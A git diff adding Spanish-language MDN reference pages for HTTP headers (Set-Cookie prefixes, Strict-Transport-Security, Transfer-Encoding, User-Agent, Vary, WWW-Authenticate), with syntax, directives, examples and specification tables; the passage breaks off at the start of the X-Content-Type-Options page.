+<p>Para clientes que no implementan prefijos para las cookies, no se puede contar con que estas garantías adicionales, y las cookies prefijadas sean aceptadas.</p>
+</div>
+
+<pre class="notranslate">// Ambas aceptadas al venir de un origen seguro (HTTPS)
+Set-Cookie: __Secure-ID=123; Secure; Domain=example.com
+Set-Cookie: __Host-ID=123; Secure; Path=/
+
+// Rechazada por faltar la directiva Secure
+Set-Cookie: __Secure-id=1
+
+// Rechazada por faltar la directiva Path=/
+Set-Cookie: __Host-id=1; Secure
+
+// Rechazada por definir un dominio
+Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td>
+   <td>Mecanismo de gestión del estado HTTP</td>
+  </tr>
+  <tr>
+   <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td>
+   <td>Cookie Prefixes, Same-Site Cookies, and Strict Secure Cookies</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Set-Cookie", 5)}}</p>
+
+<h2 id="Notas_de_compatibilidad">Notas de compatibilidad</h2>
+
+<ul>
+ <li>Empezando con Chrome 52 y Firefox 52, sitios inseguros (<code>http:</code>) no pueden definirse cookies con la directiva 'secure'.</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/strict-transport-security/index.html b/files/es/web/http/headers/strict-transport-security/index.html
new file mode 100644
index 0000000000..a7a230454f
--- /dev/null
+++ b/files/es/web/http/headers/strict-transport-security/index.html
@@ -0,0 +1,112 @@
+---
+title: Strict-Transport-Security
+slug: Web/HTTP/Headers/Strict-Transport-Security
+translation_of: Web/HTTP/Headers/Strict-Transport-Security
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong>HTTP <code>Strict-Transport-Security</code></strong>  (a menudo abreviado como {{Glossary("HSTS")}}) es una característica de seguridad que permite a un sitio web indicar a los navegadores que sólo se debe comunicar con HTTPS en lugar de usar HTTP.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de Encabezado</th>
+   <td>{{Glossary("Encabezado de Respuesta")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de Encabezado Prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">Strict-Transport-Security: max-age=&lt;expire-time&gt;
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; includeSubDomains
+Strict-Transport-Security: max-age=&lt;expire-time&gt;; preload
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>max-age=&lt;expire-time&gt;</code></dt>
+ <dd>Es el tiempo, en segundos, que el navegador debe recordar que el sitio solo debe ser accsible usando HTTPS.</dd>
+ <dt><code>includeSubDomains</code> {{optional_inline}}</dt>
+ <dd>Si este parámetro opcional está especificado, la regla aplica para todos los subdominiones del sitio.</dd>
+ <dt><code>preload</code> {{optional_inline}}</dt>
+ <dd>Ver {{anch("Precargando Strict Transport Security")}} para mas detalles. No es parte de la especificación.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si un sitio web acepta una conexión a través de HTTP y redirecciona a HTTPS, el usuario en este caso podría inicialmente hablar a la versión no encriptada del sitio antes de ser redireccionado, si por ejemplo el usuario tipea http://www.foo.com/ o incluso solo foo.com.</p>
+
+<p>Esto habilita el potencial ataque man-in-the-middle, donde el redireccionamiento podría ser aprovechado para enviar al usuario a un sitio malicioso en lugar de la versión segura de la página original. </p>
+
+<p>El encabezado HTTP Strict Transport Security permite a un sitio web informar al navegador que nunca cargue el sitio usando HTTP y que debe automáticamente convertir todos los intentos de acceso HTTP a HTTPS.</p>
+
+<div class="note"><strong>Nota:</strong> El encabezado <code>Strict-Transport-Security</code> es  <strong>ignorado</strong> por el navegador cuando el sitio es accedido usando HTTP; esto es porque un atacante podría interceptar las conexines HTTP e inyectar el encabezado o removerlo. Cuando el sitio es accedido a través de HTTPS con un certificado sin errores, el navegador sabe que el sitio es capaz de usar HTTPS y cumple con lo indicado en el encabezado <code>Strict-Transport-Security</code>.</div>
+
+<h3 id="Un_escenario_de_ejemplo">Un escenario de ejemplo</h3>
+
+<p>Tu ingresas a una red WiFi libre en un areopuerto y empiezas a nevegar por el internet visitando tu servicio de banca en linea para revisar tu estado de cuenta y pagar algunas cuentas. Desafortunadamente, el punto de acceso que estás usando es actualmente un computador portátil de un hacker. Ellos están interceptando todas tus solicitudes originales HTTP y redireccionando a un clone del sitio de tu banco en lugar del sitio real. Ahora tus datos privados están expuestos al hacker.</p>
+
+<p>Strict Transport Security resuelve este problema; siempre que hayas ingresado al sitio de tu banco una vez usando HTTPS y el sitio del banco use Strict Transport Security. Tu navegador sabe que debe usar HTTPS, lo cual previene el hacker realizar este tipo de ataque. </p>
+
+<h3 id="Como_el_navegador_lo_maneja">Como el navegador lo maneja</h3>
+
+<p>La primera vez que accediste al sitio usando HTTPS y este retornó el encabezado <code>Strict-Transport-Security, </code>el navegador registra esta información, de tal manera que en futuros intentos para cargar el sitio usando HTTP va a usar en su lugar HTTPS automáticamente.<code> </code></p>
+
+<p>Cuando el tiempo de expiración especificado por el encabezado Strict-Transport-Security haya pasado, el siguiente intento de cargar el sitio a través de HTTP se va a procesar de forma normal.</p>
+
+<p>En cualquier momento que el encabezado Strict-Transport-Security sea entregado el navegador, este actualiza el tiempo de expiración para el sitio, así los sitios pueden refrescar su información y prevenir el tiempo de expiración. Para deshabilitarlo sería necesario configurar max-age a 0 sobre una conexión HTTPS, entonces automáticamente expira el encabezado Strict-Transport-Security permitiendo acceso vía HTTP.</p>
+
+<h2 id="Precargando_Strict_Transport_Security">Precargando Strict Transport Security</h2>
+
+<p>Google mantiene un <a href="https://hstspreload.appspot.com/">servicio de precarga HSTS</a>. Siguiendo la siguiente guía  y enviando un dominio válido, los navegadores nunca se conectarán a utu dominio usando una conexión insegura. Mientras el servicio esté sobre Google, todos los navegadores tienen determinado intentar usar la lista precargada. </p>
+
+<ul>
+ <li>Información de lista precargada HSTS en Chrome: <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li>
+ <li>Consulta de lista precargada de Firefox: <a href="https://dxr.mozilla.org/comm-central/source/mozilla/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Todos los presentes y futuros subdominios usarán HTTPS durante 1 año. </p>
+
+<p>This blocks access to pages or sub domains that can only be served over HTTP.</p>
+
+<pre class="notranslate">Strict-Transport-Security: max-age=31536000; includeSubDomains</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HSTS')}}</td>
+   <td>{{Spec2('HSTS')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http/headers/strict-transport-security")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Blog post: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li>
+ <li>Blog post: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li>
+ <li>OWASP Article: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+ <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li>
+</ul>
diff --git a/files/es/web/http/headers/transfer-encoding/index.html b/files/es/web/http/headers/transfer-encoding/index.html
new file mode 100644
index 0000000000..1bd1e138e2
--- /dev/null
+++ b/files/es/web/http/headers/transfer-encoding/index.html
@@ -0,0 +1,117 @@
+---
+title: Transfer-Encoding
+slug: Web/HTTP/Headers/Transfer-Encoding
+tags:
+  - Castellano Transfer encoding
+  - HTTP Header
+  - Métodos HTTP
+  - Referências
+  - header
+  - transfer encoding español
+translation_of: Web/HTTP/Headers/Transfer-Encoding
+---
+<div></div>
+
+<div>El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de forma segura el {{Glossary("Payload body", "cuerpo del payload")}} al usuario.</div>
+
+<div></div>
+
+<div class="note"><a href="https://wikipedia.org/wiki/HTTP/2">HTTP/2</a> no admite el mecanismo de codificación de transferencia fragmentada de HTTP 1.1, ya que proporciona sus propios mecanismos, más eficientes, para la transmisión de datos.</div>
+
+<p><code>Transfer-Encoding</code> es un encabezado <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#hbh">salto por salto</a>, que se aplica a un mensaje entre dos nodos, no a un recurso en sí mismo. Cada segmento de una conexión de múltiples nodos puede usar diferentes valores de <code>Transfer-Encoding</code>. Si desea comprimir datos en toda la conexión, use el encabezado de extremo a extremo {{HTTPHeader("Content-Encoding")}} en su lugar.</p>
+
+<p>Cuando está presente en una respuesta a una solicitud {{HTTPMethod ("HEAD")}} que no tiene cuerpo, indica el valor que se habría aplicado al mensaje {{HTTPMethod ("GET")}} correspondiente.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Transfer-Encoding: chunked
+Transfer-Encoding: compress
+Transfer-Encoding: deflate
+Transfer-Encoding: gzip
+Transfer-Encoding: identity
+
+<em>// Se pueden enumerar varios valores, separados por una coma</em>
+Transfer-Encoding: gzip, chunked</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>chunked</code></dt>
+ <dd>Los datos se envían en una serie de fragmentos. El encabezado {{HTTPHeader ("Content-Length")}} se omite en este caso y al comienzo de cada fragmento debe agregar la longitud del fragmento actual en formato hexadecimal, seguido de '<code>\r\n</code>' y luego el trozo en sí, seguido de otro '<code>\r\n</code>'. El trozo de terminación es un trozo regular, con la excepción de que su longitud es cero. Le sigue el avance, que consiste en una secuencia (posiblemente vacía) de campos de encabezado de entidad.</dd>
+ <dt><code>compress</code></dt>
+ <dd>Un formato usando el algoritmo <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW). El nombre del valor se tomó del programa de compresión UNIX, que implementó este algoritmo.<br>
+ Al igual que el programa de compresión, que ha desaparecido de la mayoría de las distribuciones de UNIX, esta codificación de contenido no es utilizada por casi ningún navegador en la actualidad, en parte debido a un problema de patente (que expiró en 2003).</dd>
+ <dt><code>deflate</code></dt>
+ <dd>Usando la estructura <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> (definida en la <a class="external" href="http://tools.ietf.org/html/rfc1950">RFC 1950</a>), con el algoritmo de compresión <a class="external" href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> (definido en la <a class="external" href="http://tools.ietf.org/html/rfc1952">RFC 1951</a>).</dd>
+ <dt><code>gzip</code></dt>
+ <dd>Un formato usando la codificación <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv</a> (LZ77), con un CRC de 32 bits. Este es originalmente el formato del programa gzip de UNIX. El estándar HTTP / 1.1 también recomienda que los servidores que admiten esta codificación de contenido deben reconocer como un alias <code>x-gzip</code>, para fines de compatibilidad.</dd>
+ <dt><code>identity</code></dt>
+ <dd>Indica la función de identidad (es decir, sin compresión ni modificación). Este token, excepto si se especifica explícitamente, siempre se considera aceptable.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Codificación_Fragmentada">Codificación Fragmentada</h3>
+
+<p>La codificación fragmentada es útil cuando se envían grandes cantidades de datos al cliente y el tamaño total de la respuesta puede no conocerse hasta que la solicitud se haya procesado por completo. Por ejemplo, al generar una tabla HTML grande como resultado de una consulta a la base de datos o al transmitir imágenes grandes. Veamos un ejemplo de una respuesta fragmentada:</p>
+
+<pre>HTTP/1.1 200 OK
+Content-Type: text/plain
+Transfer-Encoding: chunked
+
+7\r\n
+Mozilla\r\n
+9\r\n
+Developer\r\n
+7\r\n
+Network\r\n
+0\r\n
+\r\n</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7230", "Transfer-Encoding", "3.3.1")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_Navegador">Compatibilidad con el Navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Transfer-Encoding")}}</p>
+
+<h2 id="Ver_además">Ver además:</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept-Encoding")}}</li>
+ <li>{{HTTPHeader("Content-Encoding")}}</li>
+ <li>{{HTTPHeader("Content-Length")}}</li>
+ <li>Header fields that regulate the use of trailers: {{HTTPHeader("TE")}} (requests) and {{HTTPHeader("Trailer")}} (responses).</li>
+ <li>
+  <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Chunked transfer encoding</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/user-agent/index.html b/files/es/web/http/headers/user-agent/index.html
new file mode 100644
index 0000000000..f02289e69e
--- /dev/null
+++ b/files/es/web/http/headers/user-agent/index.html
@@ -0,0 +1,140 @@
+---
+title: User-Agent
+slug: Web/HTTP/Headers/User-Agent
+tags:
+  - HTTP
+  - Referencia
+  - header
+translation_of: Web/HTTP/Headers/User-Agent
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La solicitud de cabecera del <strong>Agente de Usuario</strong> contiene una cadena característica que permite identificar el protocolo de red  que ayuda a descubrir  el tipo de aplicación, sistema operativo, provedor del software o laversión del software de la petición del agente de usuario.</p>
+
+<div class="note">
+<p>Lea <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">Browser detection using the user agent</a> y vea porque utilizar diferentes páginas web o servicios en diferentes navegadores es  normalmente una mala idea</p>
+
+<p> </p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">User-Agent: &lt;product&gt; / &lt;product-version&gt; &lt;comment&gt;
+
+Common format for web browsers:
+
+User-Agent: Mozilla/&lt;version&gt; (&lt;system-information&gt;) &lt;platform&gt; (&lt;platform-details&gt;) &lt;extensions&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;product&gt;</dt>
+ <dd>Identificador del producto</dd>
+ <dt>&lt;product-version&gt;</dt>
+ <dd>Numero de versión del producto.</dd>
+ <dt>&lt;comment&gt;</dt>
+ <dd>Ninguno o más comentatios conteniendo infomacion del subproducto, por ejemplo.</dd>
+</dl>
+
+<h2 id="Cadena_del_Agente_de_usuario_de_Firefox">Cadena del Agente de usuario de Firefox</h2>
+
+<p>Para más detalles del Agente de usuario basado en cadenas de texto en Firefox y Gecko , lea <a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a>. La cadena de agente de usuario de Firefox esta dividida en 4 componentes.</p>
+
+<p><strong>Mozilla/5.0 (<em>platform</em>; rv:<em>geckoversion</em>) Gecko/<em>geckotrail</em> Firefox/<em>firefoxversion</em></strong></p>
+
+<ul>
+ <li><em><strong>Mozilla/5.0 </strong></em> es el token general que indica que el navegador es compatible con Mozilla, es el más común en la mayoría de los navegadores actuales.</li>
+ <li>is the general token that says the browser is Mozilla compatible, and is common to almost every browser today.</li>
+ <li><strong><em>platform </em></strong> describe la plataforma nativa en la que el navegador se ejecuta (ejemplo. Windows, Mac, Linux o Android), y si es o no  un telefono móvil. La version de Sistema Operativo de Firefox (Firefox OS) dice simplemente "Mobile"; la web es la plataforma. Observe que la plataforma puede estar formada de varios ";" tokens separados. Vea  los ejemplos de abajo.</li>
+ <li><strong>rv:<em>geckoversion</em></strong> indica la version  de Gecko(por ejemplo "17.0"). En los navegadores más recientes la version de <strong><em>gecko </em></strong><em>es la misma que la versión de</em><strong><em> firefox</em></strong></li>
+ <li><strong><em>Gecko/geckotrail</em></strong> indica que el navegador esta basado en Gecko.</li>
+ <li>En escritorio <em><strong>geckotrail</strong></em> tiene la siguiente string fija "20100101"</li>
+ <li><em><strong>Firefox/firefoxversion</strong></em> indica que el navegador es Firefox, y muestra la versión (por ejemplo "17.0").</li>
+</ul>
+
+<h3 id="Ejemplo">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X <em>x.y</em>; rv:42.0) Gecko/20100101 Firefox/42.0
+</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuario_de_Chrome">Cadena del Agente de Usuario de Chrome</h2>
+
+<p>El agente de usuario de Chrome (or Chromium/blink-based engines) es similar al formato usado por Firefox. Por efectos de compatibilidad, añade una string como "KHTML like Gecko" y "Safari",</p>
+
+<h3 id="Ejemplo_2">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuario_de_Opera">Cadena del Agente de Usuario de Opera</h2>
+
+<p>El navegador Opera tambien esta basado en el mismo motor (blink engine), que es casi lo mismo, con la exepción de que este añade "OPR/&lt;version&gt;".</p>
+
+<h3 id="Ejemplo_3">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuario_de_Safari">Cadena del Agente de Usuario de Safari</h2>
+
+<p>En el ejemplo, la cadena del Agente de usuario  es tomado de una versión movil de safari, esta contiene la palabra "Mobile".</p>
+
+<h3 id="Ejemplo_4">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuario_de_Internet_Explorer">Cadena del Agente de Usuario de Internet Explorer</h2>
+
+<h3 id="Ejemplo_5">Ejemplo</h3>
+
+<pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)</pre>
+
+<h2 id="Cadena_del_Agente_de_Usuariode_Crawler_Y_bot_UA_strings">Cadena del Agente de Usuariode Crawler Y bot UA strings</h2>
+
+<h3 id="Ejemplo_6">Ejemplo</h3>
+
+<pre>Googlebot/2.1 (+http://www.google.com/bot.html)</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "User-Agent", "5.5.3")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad mostrada en esta página es genereada de información estructurada. Si gusta contribuir con esta información entra a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data y </a>y envienos una solicitud</p>
+
+<p>{{Compat("http.headers.User-Agent")}}</p>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li><a href="https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/">User-Agent detection, history and checklist</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox">Firefox user agent string reference</a></li>
+ <li>
+  <p><a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">Browser detection using the user agent</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/vary/index.html b/files/es/web/http/headers/vary/index.html
new file mode 100644
index 0000000000..0de2382a81
--- /dev/null
+++ b/files/es/web/http/headers/vary/index.html
@@ -0,0 +1,81 @@
+---
+title: Vary
+slug: Web/HTTP/Headers/Vary
+translation_of: Web/HTTP/Headers/Vary
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <strong><code>Vary</code></strong> HTTP determina como hacer coincidir los encabezados de las solicitudes futuras para decidir si se puede utilizar una respuesta almacenada en caché en lugar de solicitar una nueva desde el servidor de origen. Esto es usado por el servidor para indicar cuales encabezados usa cuando selecciona una representación de recursos en un algoritmo <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a> .</p>
+
+<p>El encabezado <code>Vary</code> se debe establecer en una respuesta  {{HTTPStatus("304")}} <code>Not Modified</code> exactamente igual que habría sido fijado en una respuesta equivalente {{HTTPStatus("200")}} <code>OK</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">Vary: *
+Vary: &lt;header-name&gt;, &lt;header-name&gt;, ...
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>*</dt>
+ <dd>Cada solicitud para una URL debe ser tratada como unica e inaccesible . Una de las mejores formas de indicar esto es {{HTTPHeader("Cache-Control")}}<code>: private</code>, la cual hace mas claro leer y  señalar que el objeto no debe ser almacenado nunca.</dd>
+ <dt>&lt;header-name&gt;</dt>
+ <dd>Una lista de nombres de encabezados separados por coma para tener en cuenta al decidir si se puede utilizar o no una respuesta cache.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Servicio_Dinámico">Servicio Dinámico</h3>
+
+<p>Cuando usamos el encabezado <code>Vary: User-Agent</code> , los servidores de almacenamiento en cache deben considerar al agente de usuario al decidir si desea publicar la pagína desde la memoria cache. Por ejemplo, si estas sirviendo contenido diferente a usuarios moviles, puede ayudarle a evitar que la memoria cache puede servir erróneamente una version de escritorio de su sitio a usuarios móviles. Esto puede ayudar a Googley otros motoress de busqueda para descubrir la version de una pagina web, y ademas permitir que intenten <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>.</p>
+
+<pre>Vary: User-Agent</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "Vary", "7.1.4")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Vary")}}</p>
+
+<h2 id="Notas_de_Compatibilidad">Notas de Compatibilidad</h2>
+
+<ul>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2009/06/17/vary-with-care/">Vary with care – Vary header problems in IE6-9</a></li>
+</ul>
+
+<h2 id="Vea_tambien">Vea tambien</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("User-Agent")}}</li>
+ <li><a href="https://www.fastly.com/blog/best-practices-for-using-the-vary-header">Mejores practicas para usar el encabezado Vary – fastly.com</a></li>
+</ul>
diff --git a/files/es/web/http/headers/www-authenticate/index.html b/files/es/web/http/headers/www-authenticate/index.html
new file mode 100644
index 0000000000..d3456d4258
--- /dev/null
+++ b/files/es/web/http/headers/www-authenticate/index.html
@@ -0,0 +1,87 @@
+---
+title: WWW-Authenticate
+slug: Web/HTTP/Headers/WWW-Authenticate
+translation_of: Web/HTTP/Headers/WWW-Authenticate
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabezera de la respuesta HTTP <strong><code>WWW-Authenticate</code></strong> define el método de autentificación que debe ser utilizado para acceder al recurso solicitado.</p>
+
+<p>La cabezera <code>WWW-Authenticate</code>  es enviada junto al estado  {{HTTPStatus("401")}} <code>Unauthorized</code> en la respuesta.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<h2 id="Directives">Directives</h2>
+
+<dl>
+ <dt>&lt;type&gt;</dt>
+ <dd><a href="/en-US/docs/Web/HTTP/Authentication#Authentication_schemes">Tipo de autentificación</a>. Un tipo común es <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">"Basic"</a>. IANA mantiene una <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">lista de los esquemas de autentificación</a>.</dd>
+ <dt>realm=&lt;realm&gt;</dt>
+ <dd>Una descripción del recurso protegido. Si el realm no es especificado, los clientes a menudo muestran el hostname.</dd>
+ <dt>charset=&lt;charset&gt;</dt>
+ <dd>Le indica al cliente el tipo de encoding scheme preferido por el servidor cuando se envía un nombre de usuario y contraseña. El único valor permitido es la cadena de texto (no diferencia entre mayúsculas o mínusculas) "UTF-8".  Esto no esta relacionado a el encoding del parámetro realm.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Typically, a server response contains a <code>WWW-Authenticate</code> header that looks like these:</p>
+
+<pre class="notranslate">WWW-Authenticate: Basic
+
+WWW-Authenticate: Basic realm="Access to the staging site", charset="UTF-8"
+</pre>
+
+<p>See also <a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a> for examples on how to configure Apache or nginx servers to password protect your site with HTTP basic authentication.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{RFC("7235", "WWW-Authenticate", "4.1")}}</td>
+   <td>HTTP/1.1: Authentication</td>
+  </tr>
+  <tr>
+   <td>{{RFC("7617")}}</td>
+   <td>The 'Basic' HTTP Authentication Scheme</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.headers.WWW-Authenticate")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/x-content-type-options/index.html b/files/es/web/http/headers/x-content-type-options/index.html
new file mode 100644
index 0000000000..29d4fb6986
--- /dev/null
+++ b/files/es/web/http/headers/x-content-type-options/index.html
@@ -0,0 +1,83 @@
+---
+title: X-Content-Type-Options
+slug: Web/HTTP/Headers/X-Content-Type-Options
+tags:
